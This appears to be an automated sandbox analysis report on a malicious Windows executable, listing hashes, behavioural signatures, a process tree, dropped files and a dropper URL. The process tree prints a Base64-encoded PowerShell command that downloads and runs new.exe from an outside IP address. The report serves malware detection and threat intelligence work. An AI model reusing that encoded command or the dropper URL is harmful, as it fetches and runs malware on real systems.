e6d52698d201c0e3dc8a52d6694ecf314a08a5bbc61170dce932a4d9762118e4

Analysis

max time kernel
110s
max time network
136s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
04/10/2022, 11:23

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General

Target
1c741c1070fb77590da2018a2b79afb3.exe
Size 65KB
Sample221004-ng577aaga8
SHA256 e6d52698d201c0e3dc8a52d6694ecf314a08a5bbc61170dce932a4d9762118e4
MD5 1c741c1070fb77590da2018a2b79afb3
SHA1 cc626d7f2ddcc41f6543ebe6f4ae9b30fbe12947
SHA512 99e125e832962d963e0ec148007ee2089da88dbf2c821596201dc8c99d82e30ea33e6302d93280adaf1c80175bacedbda5ddb26b45123d8a4dbf29b41bb906e6
SSDEEP 1536:fFFcVuHgcQJvRcw9KP+ldM3C3f9GxZO5z2B8GFEz:fFFcVyQzM6kxW
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://194.38.23.170/new.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	984	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1076	ynetbztk.exe

Loads dropped DLL 1 IoCs

pid	Process
984	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 896 set thread context of 384	896	1c741c1070fb77590da2018a2b79afb3.exe	31

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1824	powershell.exe
896	1c741c1070fb77590da2018a2b79afb3.exe
896	1c741c1070fb77590da2018a2b79afb3.exe
896	1c741c1070fb77590da2018a2b79afb3.exe
984	powershell.exe
984	powershell.exe
984	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	896	1c741c1070fb77590da2018a2b79afb3.exe
Token: SeDebugPrivilege	1824	powershell.exe
Token: SeDebugPrivilege	384	AppLaunch.exe
Token: SeDebugPrivilege	984	powershell.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 896 wrote to memory of 1824	896	1c741c1070fb77590da2018a2b79afb3.exe	28
PID 896 wrote to memory of 1824	896	1c741c1070fb77590da2018a2b79afb3.exe	28
PID 896 wrote to memory of 1824	896	1c741c1070fb77590da2018a2b79afb3.exe	28
PID 896 wrote to memory of 1824	896	1c741c1070fb77590da2018a2b79afb3.exe	28
PID 896 wrote to memory of 1632	896	1c741c1070fb77590da2018a2b79afb3.exe	30
PID 896 wrote to memory of 1632	896	1c741c1070fb77590da2018a2b79afb3.exe	30
PID 896 wrote to memory of 1632	896	1c741c1070fb77590da2018a2b79afb3.exe	30
PID 896 wrote to memory of 1632	896	1c741c1070fb77590da2018a2b79afb3.exe	30
PID 896 wrote to memory of 1632	896	1c741c1070fb77590da2018a2b79afb3.exe	30
PID 896 wrote to memory of 1632	896	1c741c1070fb77590da2018a2b79afb3.exe	30
PID 896 wrote to memory of 1632	896	1c741c1070fb77590da2018a2b79afb3.exe	30
PID 896 wrote to memory of 384	896	1c741c1070fb77590da2018a2b79afb3.exe	31
PID 896 wrote to memory of 384	896	1c741c1070fb77590da2018a2b79afb3.exe	31
PID 896 wrote to memory of 384	896	1c741c1070fb77590da2018a2b79afb3.exe	31
PID 896 wrote to memory of 384	896	1c741c1070fb77590da2018a2b79afb3.exe	31
PID 896 wrote to memory of 384	896	1c741c1070fb77590da2018a2b79afb3.exe	31
PID 896 wrote to memory of 384	896	1c741c1070fb77590da2018a2b79afb3.exe	31
PID 896 wrote to memory of 384	896	1c741c1070fb77590da2018a2b79afb3.exe	31
PID 896 wrote to memory of 384	896	1c741c1070fb77590da2018a2b79afb3.exe	31
PID 896 wrote to memory of 384	896	1c741c1070fb77590da2018a2b79afb3.exe	31
PID 896 wrote to memory of 384	896	1c741c1070fb77590da2018a2b79afb3.exe	31
PID 896 wrote to memory of 384	896	1c741c1070fb77590da2018a2b79afb3.exe	31
PID 896 wrote to memory of 384	896	1c741c1070fb77590da2018a2b79afb3.exe	31
PID 384 wrote to memory of 984	384	AppLaunch.exe	33
PID 384 wrote to memory of 984	384	AppLaunch.exe	33
PID 384 wrote to memory of 984	384	AppLaunch.exe	33
PID 384 wrote to memory of 984	384	AppLaunch.exe	33
PID 384 wrote to memory of 984	384	AppLaunch.exe	33
PID 384 wrote to memory of 984	384	AppLaunch.exe	33
PID 384 wrote to memory of 984	384	AppLaunch.exe	33
PID 984 wrote to memory of 1076	984	powershell.exe	35
PID 984 wrote to memory of 1076	984	powershell.exe	35
PID 984 wrote to memory of 1076	984	powershell.exe	35
PID 984 wrote to memory of 1076	984	powershell.exe	35

C:\Users\Admin\AppData\Local\Temp\1c741c1070fb77590da2018a2b79afb3.exe
"C:\Users\Admin\AppData\Local\Temp\1c741c1070fb77590da2018a2b79afb3.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:896
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1824
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  2⤵
  PID:1632
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:384
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwAxADkANAAuADMAOAAuADIAMwAuADEANwAwAC8AbgBlAHcALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAeQBuAGUAdABiAHoAdABrAC4AZQB4AGUAIgApADsAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAeQBuAGUAdABiAHoAdABrAC4AZQB4AGUAIgA=
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:984
  - - C:\Users\Admin\AppData\Local\Temp\ynetbztk.exe
      "C:\Users\Admin\AppData\Local\Temp\ynetbztk.exe"
      4⤵
      Executes dropped EXE
      PID:1076

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

ynetbztk.exe

Path C:\Users\Admin\AppData\Local\Temp\ynetbztk.exe
Size 64KB
SHA256 0a0fcade07b17c39c6b7a278c3b4a9c9380b935aae03b468351209090d7d21ba
MD5 cbed4030ba45a8887b137e314d2977c4
SHA1 fdcc0e09f333d93de2499bd2a7bd6989c6467d83
SHA512 006be5ab70be6716047cb85568937b14f51d747f46fff3964a1bae23820aebc70eb76d3274fe6da2321a122f8445036880d6a3a24e740502bf498ba3b587360c
SSDEEP 1536:Ts87Awurg9QJvRcwOKP+ldM3C3f9GxZO5z2B8GFEDo:g2Aw3QCM6kxd
MD5 SHA1 SHA512 SSDEEP

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ynetbztk.exe

Path C:\Users\Admin\AppData\Local\Temp\ynetbztk.exe
Size 64KB
SHA256 0a0fcade07b17c39c6b7a278c3b4a9c9380b935aae03b468351209090d7d21ba
MD5 cbed4030ba45a8887b137e314d2977c4
SHA1 fdcc0e09f333d93de2499bd2a7bd6989c6467d83
SHA512 006be5ab70be6716047cb85568937b14f51d747f46fff3964a1bae23820aebc70eb76d3274fe6da2321a122f8445036880d6a3a24e740502bf498ba3b587360c
SSDEEP 1536:Ts87Awurg9QJvRcwOKP+ldM3C3f9GxZO5z2B8GFEDo:g2Aw3QCM6kxd
MD5 SHA1 SHA512 SSDEEP

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d93f411851d7c929.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Size 7KB
SHA256 23c49c108cd0529870f96e2b3464a92a0e391ae0dfb2e15f88c4123d5674ef24
MD5 eded9b54c41dd64f9f07bb2ed494eb56
SHA1 f921fbc0cb8ab32a966d5627c7f3c6607ae1282d
SHA512 830bcaa2ea670869e59800e0ad9d944ba9d0c07ab408d47b8f4ad038db86d28df4c20cbf484a2941d0cce2ef2efa5f42647e45f6aebec88db297f51d44371ad8
SSDEEP 96:chmxCNM8BnqvsqvJCwod51hmxCNM8BnqvsEHyqvJCwor/5zXUuQHx67gKXlUVScC:ErVUo/rVAHnorpFc67gKv
MD5 SHA1 SHA512 SSDEEP

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ynetbztk.exe

Path \Users\Admin\AppData\Local\Temp\ynetbztk.exe
Size 64KB
SHA256 0a0fcade07b17c39c6b7a278c3b4a9c9380b935aae03b468351209090d7d21ba
MD5 cbed4030ba45a8887b137e314d2977c4
SHA1 fdcc0e09f333d93de2499bd2a7bd6989c6467d83
SHA512 006be5ab70be6716047cb85568937b14f51d747f46fff3964a1bae23820aebc70eb76d3274fe6da2321a122f8445036880d6a3a24e740502bf498ba3b587360c
SSDEEP 1536:Ts87Awurg9QJvRcwOKP+ldM3C3f9GxZO5z2B8GFEDo:g2Aw3QCM6kxd
MD5 SHA1 SHA512 SSDEEP

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memory/384-76-0x0000000000550000-0x00000000005A6000-memory.dmp

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memory/384-78-0x0000000000E80000-0x0000000000ECC000-memory.dmp

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memory/384-77-0x00000000008D0000-0x0000000000924000-memory.dmp

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memory/384-63-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/384-64-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/384-66-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/384-67-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/384-68-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/384-71-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/384-75-0x0000000000490000-0x000000000053E000-memory.dmp

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memory/384-73-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/896-54-0x0000000001340000-0x0000000001356000-memory.dmp

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memory/896-55-0x0000000076411000-0x0000000076413000-memory.dmp

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memory/896-56-0x0000000005940000-0x0000000005A60000-memory.dmp

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memory/896-57-0x0000000005380000-0x0000000005412000-memory.dmp

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memory/984-82-0x0000000070400000-0x00000000709AB000-memory.dmp

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memory/984-87-0x0000000070400000-0x00000000709AB000-memory.dmp

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memory/1076-88-0x000000013F860000-0x000000013F874000-memory.dmp

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memory/1824-61-0x000000006F5E0000-0x000000006FB8B000-memory.dmp

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memory/1824-62-0x000000006F5E0000-0x000000006FB8B000-memory.dmp

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memory/1824-60-0x000000006F5E0000-0x000000006FB8B000-memory.dmp

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